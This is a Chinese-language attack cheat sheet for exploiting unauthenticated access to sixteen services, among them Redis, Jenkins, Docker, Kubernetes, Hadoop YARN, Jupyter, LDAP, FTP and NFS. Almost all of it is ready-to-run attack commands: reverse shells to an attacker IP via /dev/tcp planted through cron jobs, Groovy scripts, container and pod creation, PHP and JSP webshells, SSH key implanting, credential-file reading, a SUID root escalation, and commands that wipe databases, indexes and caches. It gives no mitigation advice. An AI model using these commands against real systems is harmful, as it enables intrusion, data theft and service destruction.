1. Redis 未授权访问(默认端口 6379)
漏洞特征
-
默认无密码验证,允许匿名登录;
-
4.x/5.0.5 前版本支持通过主从复制加载恶意模块执行命令;
-
高权限运行时可写入系统文件(如计划任务、SSH 密钥)。
利用方式
-
计划任务反弹 Shell
# 本地监听端口 nc -lvp 4444 # 连接目标Redis并写入任务 redis-cli -h 目标IP set x "\n* * * * * bash -i >& /dev/tcp/攻击者IP/4444 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save
-
写入 SSH 公钥登录
# 本地生成密钥对 ssh-keygen -t rsa -P '' # 写入目标authorized_keys (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt redis-cli -h 目标IP -x set pub < foo.txt config set dir /root/.ssh/ config set dbfilename authorized_keys save # 登录目标 ssh -i id_rsa root@目标IP
-
写入 Webshell
redis-cli -h 目标IP config set dir /var/www/html/ # Web目录路径 config set dbfilename shell.php set webshell "<?php @eval($_POST['cmd']);?>" save
2. Jenkins 未授权访问(默认端口 8080)
漏洞特征
-
管理面板可直接执行系统命令;
-
未启用认证时,攻击者可访问
/manage
路径操控服务。
利用方式
-
执行系统命令反弹 Shell 访问
http://目标IP:8080/script
,输入 Groovy 脚本:"bash -i >& /dev/tcp/攻击者IP/4444 0>&1".execute()
-
写入 Webshell
// 写入JSP木马到工作目录 new File("/var/lib/jenkins/workspace/shell.jsp").write('<% out.println("Hello"); %>')
3. MongoDB 未授权访问(默认端口 27017)
漏洞特征
-
默认无权限验证,允许匿名用户对数据库执行增删改查;
-
绑定 0.0.0.0 时可被外网访问。
利用方式
# 连接目标数据库
mongo 目标IP:27017
# 查看数据库列表
show dbs
# 访问敏感数据库(如user库)
use user
# 查看用户数据
db.users.find()
# 删除数据(高危)
db.users.remove({})
4. ZooKeeper 未授权访问(默认端口 2181)
漏洞特征
-
分布式协调服务,默认无认证;
-
可通过命令获取系统信息或干扰服务。
利用方式
-
获取系统环境信息
echo envi | nc 目标IP 2181 # 返回Java环境、系统名称等
-
连接服务执行操作
./zkCli.sh -server 目标IP:2181 # 连接服务 ls / # 查看节点 delete /敏感节点 # 删除关键节点干扰服务
5. Elasticsearch 未授权访问(默认端口 9200/9300)
漏洞特征
-
开源版本无默认认证,HTTP 接口可直接操作索引;
-
可通过 API 读取、修改或删除数据。
利用方式
# 查看节点信息
curl http://目标IP:9200/_nodes
# 查看索引数据
curl http://目标IP:9200/敏感索引/_search
# 删除索引(高危)
curl -X DELETE http://目标IP:9200/敏感索引
6. Docker 未授权访问(默认端口 2375)
漏洞特征
-
Docker API 可远程操控容器;
-
未限制访问时,攻击者可创建容器挂载宿主机目录。
利用方式
-
列出容器并控制
# 查看容器列表 curl http://目标IP:2375/containers/json # 启动容器 curl -X POST http://目标IP:2375/containers/容器ID/start
-
挂载宿主机目录获取权限
# 创建挂载宿主机根目录的容器 curl -X POST -H "Content-Type: application/json" http://目标IP:2375/containers/create -d '{ "Image": "alpine", "Cmd": ["/bin/sh", "-c", "echo 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1' > /mnt/var/spool/cron/root"], "HostConfig": {"Binds": ["/:/mnt"]} }' # 启动容器执行命令 curl -X POST http://目标IP:2375/containers/新容器ID/start
7. JBoss 未授权访问(默认端口 8080)
漏洞特征
-
低版本默认开放
/jmx-console
等管理接口; -
可直接部署恶意 WAR 包或执行命令。
利用方式
-
部署 Webshell 访问
http://目标IP:8080/jmx-console
,通过jboss.web.deployment
接口部署包含 webshell 的 WAR 包(如shell.war
,访问路径http://目标IP:8080/shell/shell.jsp
)。 -
工具利用
python jexboss.py -u http://目标IP:8080 # 自动检测并获取shell
8. Memcached 未授权访问(默认端口 11211)
漏洞特征
-
内存缓存系统,默认无权限控制;
-
公网暴露时可被直接读取缓存中的敏感数据(如用户会话、数据库连接信息)。
利用方式
# 连接目标服务
telnet 目标IP 11211
# 查看缓存中的键
stats items
# 读取指定键的内容(如键名为user:session)
get user:session
# 清空缓存(干扰服务)
flush_all
9. ActiveMQ 未授权访问(默认端口 8161)
漏洞特征
-
消息中间件,默认管理后台路径
/admin
,弱口令(admin/admin)常见; -
未授权可查看队列、发送恶意消息。
利用方式
-
登录管理后台 访问
http://目标IP:8161/admin
,使用默认账号 admin/admin 登录,查看Queues
列表,发送包含恶意代码的消息(如触发消费端代码执行)。 -
文件上传 Getshell 利用
/fileserver
接口上传 webshell(需路径遍历漏洞配合):curl -X PUT http://目标IP:8161/fileserver/../webapps/api/shell.jsp --data-binary '<% out.println("Hello"); %>'
10. Jupyter Notebook 未授权访问(默认端口 8888)
漏洞特征
-
Python 交互式笔记本,未配置密码时可直接访问;
-
支持执行 Python 代码,可调用系统命令。
利用方式
-
执行系统命令 访问
http://目标IP:8888
,创建新的 “Console”,输入 Python 代码:import os os.system("bash -i >& /dev/tcp/攻击者IP/4444 0>&1") # 反弹shell
-
文件操作
# 读取敏感文件 with open("/etc/passwd", "r") as f: print(f.read())
11. Hadoop YARN 未授权访问(默认端口 8088)
漏洞特征
-
分布式资源管理器,未授权可访问
/ws/v1/cluster
等接口; -
可提交包含恶意命令的应用程序。
利用方式
-
提交恶意应用
使用 Python 脚本提交应用,执行反弹 shell 命令:
# 参考脚本:yarn-rce.py import requests url = "http://目标IP:8088/ws/v1/cluster/apps/new-application" app_id = requests.post(url).json()["application-id"] payload = { "application-id": app_id, "am-container-spec": { "commands": {"command": "bash -i >& /dev/tcp/攻击者IP/4444 0>&1"} } } requests.post("http://目标IP:8088/ws/v1/cluster/apps", json=payload)
12. Kubernetes API 未授权访问(默认端口 8080/10250)
漏洞特征
-
容器集群管理接口,未限制访问时可操控集群资源;
-
可创建 Pod、删除节点等。
利用方式
-
创建恶意 Pod
# 发送创建Pod请求(挂载宿主机根目录) curl -X POST -H "Content-Type: application/json" http://目标IP:8080/api/v1/namespaces/default/pods -d '{ "apiVersion": "v1", "kind": "Pod", "spec": { "containers": [{ "name": "test", "image": "alpine", "command": ["/bin/sh", "-c", "echo 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1' > /host/var/spool/cron/root"], "volumeMounts": [{"name": "host", "mountPath": "/host"}] }], "volumes": [{"name": "host", "hostPath": {"path": "/"}}] } }'
13. RabbitMQ 未授权访问(常见端口 15672、15692、25672)
漏洞特征
-
消息中间件,默认管理界面端口 15672(HTTP)、25672(AMQP 协议),15692(HTTPS,若启用);
-
默认账号
guest/guest
仅限本地访问,配置错误时可能允许远程登录;未设置认证时可直接操作队列。
利用方式
-
登录管理界面操作队列 访问
http://目标IP:15672
,尝试用guest/guest
登录(若远程可访问)。成功后:-
查看队列列表:获取
Queues
中存储的消息类型、数量等信息; -
发送恶意消息:向队列提交含恶意代码的消息(如触发消费端代码执行漏洞);
-
删除关键队列:执行
Delete
操作中断业务通信。
-
-
通过 AMQP 协议远程操控 使用
pika
(Python 库)连接 25672 端口,未授权时可直接发送 / 接收消息:import pika connection = pika.BlockingConnection(pika.ConnectionParameters('目标IP', 25672)) channel = connection.channel() # 发送恶意消息到队列 channel.basic_publish(exchange='', routing_key='敏感队列名', body='恶意代码') connection.close()
14. LDAP 未授权访问(默认端口 389、636)
漏洞特征
-
轻量级目录访问协议,用于存储用户信息、组织结构等;
-
默认无认证机制,公网暴露时可被枚举敏感数据(如用户名、邮箱、权限组)。
利用方式
-
枚举目录信息 使用
ldapsearch
工具查询目录结构:# 匿名查询所有数据 ldapsearch -x -h 目标IP -p 389 -b "dc=example,dc=com" "(objectClass=*)"
结果可能包含:
-
用户列表:
cn=user1,ou=users,dc=example,dc=com
及密码哈希; -
权限组:
cn=admin,ou=groups,dc=example,dc=com
的成员信息。
-
-
修改用户权限(配置不当场景) 若目录允许匿名写入,可添加用户到管理员组:
ldapmodify -x -h 目标IP -D "cn=admin,dc=example,dc=com" -f add_admin.ldif
(
add_admin.ldif
中定义将用户添加至admin
组的操作)
15. FTP 未授权访问(默认端口 21)
漏洞特征
-
文件传输协议,默认支持匿名登录(用户名
anonymous
,密码任意); -
配置不当可导致敏感文件泄露或恶意文件上传。
利用方式
-
匿名登录下载敏感文件 使用
ftp
命令或 FileZilla 连接:ftp 目标IP 21 # 用户名输入anonymous,密码留空 ftp> ls # 列出共享目录 ftp> get 数据库备份.sql # 下载敏感文件
-
上传恶意文件获取权限 若目录可写,上传反弹 shell 脚本(如
shell.sh
):ftp> put shell.sh # 上传脚本至服务器 # 若服务器存在自动执行机制(如定时任务),脚本触发后反弹shell
16. NFS 未授权访问(常见端口 2049、20048)
漏洞特征
-
网络文件系统,用于共享目录;
-
配置
*(rw,no_root_squash)
时,所有主机可读写共享目录,甚至获取 root 权限。
利用方式
-
挂载共享目录窃取数据
# 查看共享目录 showmount -e 目标IP # 输出:/data *(rw,no_root_squash) # 挂载到本地 mount -t nfs 目标IP:/data /tmp/nfs # 访问敏感文件 cat /tmp/nfs/企业财务数据.xlsx
-
通过
no_root_squash
提权 在本地创建含 SUID 权限的恶意程序,上传至共享目录:gcc -o /tmp/nfs/shell shell.c # shell.c含setuid(0)代码 chmod 4777 /tmp/nfs/shell
在目标服务器执行
/data/shell